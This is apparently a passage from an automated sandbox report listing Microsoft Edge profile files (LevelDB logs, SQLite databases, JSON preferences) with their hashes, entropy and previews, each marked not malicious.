Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.184122588148498
Encrypted:	false
SSDEEP:	12:HnU9jL+vVaYebvqBQFUt8++W/++V6+LV5OaYebvqBvJ:HMYVaYebvZg8b9+DOaYebvk
MD5:	42CF167366A051EE2C32276DA04FC8BA
SHA1:	E777F56FFA2C4FFBC8FC94BDAAFE2F90DC66FDEB
SHA-256:	363FDC60C3DA061DEB73D62217E746324D8690B66F18D73A4448F8947D242911
SHA-512:	B8333250FDC4E62FC4F56C5195668A3BAC0138C08F3C84AD2A3EA24D0212FC5E9B6E9B7DC3F76C332FD65681F755598690F8C6CA93F53B5C819158DFC69639B6
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.813 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/01/18-00:34:38.843 20ec Recovering log #3.2024/01/18-00:34:38.867 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.184122588148498
Encrypted:	false
SSDEEP:	12:HnU9jL+vVaYebvqBQFUt8++W/++V6+LV5OaYebvqBvJ:HMYVaYebvZg8b9+DOaYebvk
MD5:	42CF167366A051EE2C32276DA04FC8BA
SHA1:	E777F56FFA2C4FFBC8FC94BDAAFE2F90DC66FDEB
SHA-256:	363FDC60C3DA061DEB73D62217E746324D8690B66F18D73A4448F8947D242911
SHA-512:	B8333250FDC4E62FC4F56C5195668A3BAC0138C08F3C84AD2A3EA24D0212FC5E9B6E9B7DC3F76C332FD65681F755598690F8C6CA93F53B5C819158DFC69639B6
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.813 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/01/18-00:34:38.843 20ec Recovering log #3.2024/01/18-00:34:38.867 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0a85bd12-32c8-4531-9caa-e3ee4f7b19e6.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0d0d5a20-4164-46a5-891c-5232cb2dae1d.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\63d4b1e4-776b-4868-aaa4-e2f8adaf84ab.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF40d99.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF41597.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e5d6eba8-1efe-4bf4-97f8-55ec5ef967ce.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.206941555017724
Encrypted:	false
SSDEEP:	12:HHL+vVaYebvqBZFUt8+ZtmW/++9LV5OaYebvqBaJ:nYVaYebvyg8amKDOaYebvL
MD5:	B1CBBA0F2E1FC7E2407CEB476AD5C348
SHA1:	F451F41339D9F4AD4CA06FEDC1DE660CC5481254
SHA-256:	0F1E889ECC564F95A6A128D044177631139522D33158B73C23459AB879782722
SHA-512:	30D7978EC5DE4EFED565C8C167926F91D3FB71FDF2DA959A5F6F7A0C877D5301F23128EE9E5F19840767C93A7C0EE908A3D9B458C89EDACFDD087EFE29DC2847
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:54.753 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/01/18-00:34:54.755 20ec Recovering log #3.2024/01/18-00:34:54.760 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.206941555017724
Encrypted:	false
SSDEEP:	12:HHL+vVaYebvqBZFUt8+ZtmW/++9LV5OaYebvqBaJ:nYVaYebvyg8amKDOaYebvL
MD5:	B1CBBA0F2E1FC7E2407CEB476AD5C348
SHA1:	F451F41339D9F4AD4CA06FEDC1DE660CC5481254
SHA-256:	0F1E889ECC564F95A6A128D044177631139522D33158B73C23459AB879782722
SHA-512:	30D7978EC5DE4EFED565C8C167926F91D3FB71FDF2DA959A5F6F7A0C877D5301F23128EE9E5F19840767C93A7C0EE908A3D9B458C89EDACFDD087EFE29DC2847
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:54.753 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/01/18-00:34:54.755 20ec Recovering log #3.2024/01/18-00:34:54.760 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.147352637802656
Encrypted:	false
SSDEEP:	6:HiOq2PN723oH+TcwtpIFUt8+rFZZmw++9FkwON723oH+Tcwta/WLJ:HPvVaYebmFUt8+7/++9F5OaYebaUJ
MD5:	1E4133709A47A34D1CFE9D432DA5401C
SHA1:	6B1FA04D76E17B4AE6A50B10A9516FF3889C3A56
SHA-256:	7A2747004277C84CE2ABE32579675037CE9A7611ADAA1D3A23692CE6DBC62354
SHA-512:	B4DFC8936A96C42B5C7F07C9E95057F0325EB7A6D911FC0D5B9888C597EB518650FA334C417C893ED3E114F4F70CA0D25B6CAF1CFEE1C1A99807DBB93CB06525
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.035 2304 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/01/18-00:34:37.043 2304 Recovering log #3.2024/01/18-00:34:37.049 2304 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.147352637802656
Encrypted:	false
SSDEEP:	6:HiOq2PN723oH+TcwtpIFUt8+rFZZmw++9FkwON723oH+Tcwta/WLJ:HPvVaYebmFUt8+7/++9F5OaYebaUJ
MD5:	1E4133709A47A34D1CFE9D432DA5401C
SHA1:	6B1FA04D76E17B4AE6A50B10A9516FF3889C3A56
SHA-256:	7A2747004277C84CE2ABE32579675037CE9A7611ADAA1D3A23692CE6DBC62354
SHA-512:	B4DFC8936A96C42B5C7F07C9E95057F0325EB7A6D911FC0D5B9888C597EB518650FA334C417C893ED3E114F4F70CA0D25B6CAF1CFEE1C1A99807DBB93CB06525
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.035 2304 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/01/18-00:34:37.043 2304 Recovering log #3.2024/01/18-00:34:37.049 2304 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0033616753448762224
Encrypted:	false
SSDEEP:	3:ImtVuXhLOOlg/ll:IiVux8/ll
MD5:	239880BF7F098E8565DBC6229D925D88
SHA1:	A4C6E1EA842E64EDB79092FCD50ABF36DB2C59E0
SHA-256:	C3179C265955DBA37270A3C9C529B12DA10CD325745EE3CC44702A859ED14C03
SHA-512:	DF56EBEC2BE69320477367A4526BB6E847C9EF33D638C725146861FB9BEF05BEE7CC5EAA4EE4DEA21953115D63BFAB62D9E88B5458A5061CC6387A2F639AF955
Malicious:	false
Reputation:	unknown
Preview:	VLnk.....?........A..Z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 11, database pages 92, cookie 0x37, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.281529771577889
Encrypted:	false
SSDEEP:	384:6/2qOB1nxCkySA1LyKOMq+8iP5GDHP/0jMVumfy:Pq+n0591LyKOMq+8iP5GLP/0Sy
MD5:	1CED33031FCDE735DD20F007D94100E7
SHA1:	8F62C02201A7488E2C5675B28A2B0FC51B7CD03F
SHA-256:	42E6077E1178EE798B6E4A6FBA3C19E89EB462C69DDB73D462A6A220CF40CC0C
SHA-512:	91F530BAF37757A9C15783CE697A6D6C4D8C74858A0189BA0ADDAE99C0D2A86426BA6B51D19899A5D98189E4C823255F0225254ABB21BC93C0CBE25F522EF7F3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......\...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 11, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	0.9398686855765779
Encrypted:	false
SSDEEP:	24:LL0jLuxhK3thdkSdj5QjUsEGcGBXp22iSBg6dJwu69B/lJjgm:fK3tjkSdj5IUltGhp22iSBg6dJwuULj/
MD5:	FC032FA49A879B7DF0836CC0C87E85CA
SHA1:	B2C80C6ED926F7020380700018E8307D074F09D0
SHA-256:	6E3D7E350D5128899409F866E290663E9577FFD1A9AFCF46B0685DD6A601E5C0
SHA-512:	3D01F1C9B1FCCAB485D6A481F383BAA77CED5E65360A9BE40D99F052E42832EF13CDC3F205E53A86671317D3E2046E7B935F2E97B0A8D9526602180053B1D278
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.47048452317916906
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBkT3mFX:v7doKsKuKZKlZNmu46yjxa3mFX
MD5:	E09166D112B3917DA1CCE2B307503892
SHA1:	F0E84E56A071F5EA55F9AFBF15B628B6F1E067DF
SHA-256:	107046941C7EB0357F8BCB290F81227B6029E11D6193252C416B9CF0D7BC14AB
SHA-512:	98CB06C70944961073637FA09AEDDE827C974E67B5AC9F238746E08C6EEFF272A89F15A0751AA52A9BFBFD929C2B4A5E76B25E84E2181D004CF92A15C0E3F3AD
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager-journal

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	0.1429383287139333
Encrypted:	false
SSDEEP:	3:vvHNllv/etXlM4nBG/9GX3RUFs2DSLUxGTKSS4UxGTkQfQI4p4nBmWXtXlM4nb:vqlM+QlGHXDLUxGFdUxG7k+sClM+b
MD5:	A3E8671F54BD2584013CF8BC0EB7DBDD
SHA1:	95D437404091B20D870B71A023628EDC678B9EA4
SHA-256:	D98A004387A70137EED22735DF2B1079BA8181AC7DC8838A023C171228261B11
SHA-512:	DCE5A9DF3918D43253DB374940A79EF0F597F97B2751CF7901AEF2CF05BC20163D2E102D89218D1773B324CCE4D3CD44B509AF916535625B5AA0D6E8D2EC6274
Malicious:	false
Reputation:	unknown
Preview:	..............s.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aed8eb73-493c-454c-b08f-7f9761955c6a.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	12965
Entropy (8bit):	5.2821887741149425
Encrypted:	false
SSDEEP:	192:stYtJ9pQTryZigaba4uyG+sejaFvrEaDkO3x8rbbV+FLhQCXUg+PHYJ:stYtLA3umsejCDTKbbGNQNgb
MD5:	584999749033CC3E8C9B49C7DB203CB8
SHA1:	41B415C01CF1A91C141023B66238B45CFF97D7A1
SHA-256:	359ACC27F7FD2E1BE0B735CE9D513AED091353FB86490658D4A8371AE87D0164
SHA-512:	02212A1A7EF47ACFEA3B351C621A2410607951119CE425E46364129683E075EE70C621E2D6B1EE8A5601102D7C5F984044237FBDBBD3C22999C346F53720CE69
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13350008078330504","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Reputation:	unknown
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cc7acf62-bc51-405a-9fde-9d99096fb5ca.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.5024618160951926
Encrypted:	false
SSDEEP:	48:RonnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnE/yjyjyjyjyjyj5:Rl5HXN1KkF
MD5:	E56BA1506653CF6F10BCC899D5367526
SHA1:	55927AD728061745501C61A129200EF6BE9210A7
SHA-256:	F29ED7A7917AB17D913F6FAD925FA31E1FF0B6D95545D203E340ED0A79D9CD68
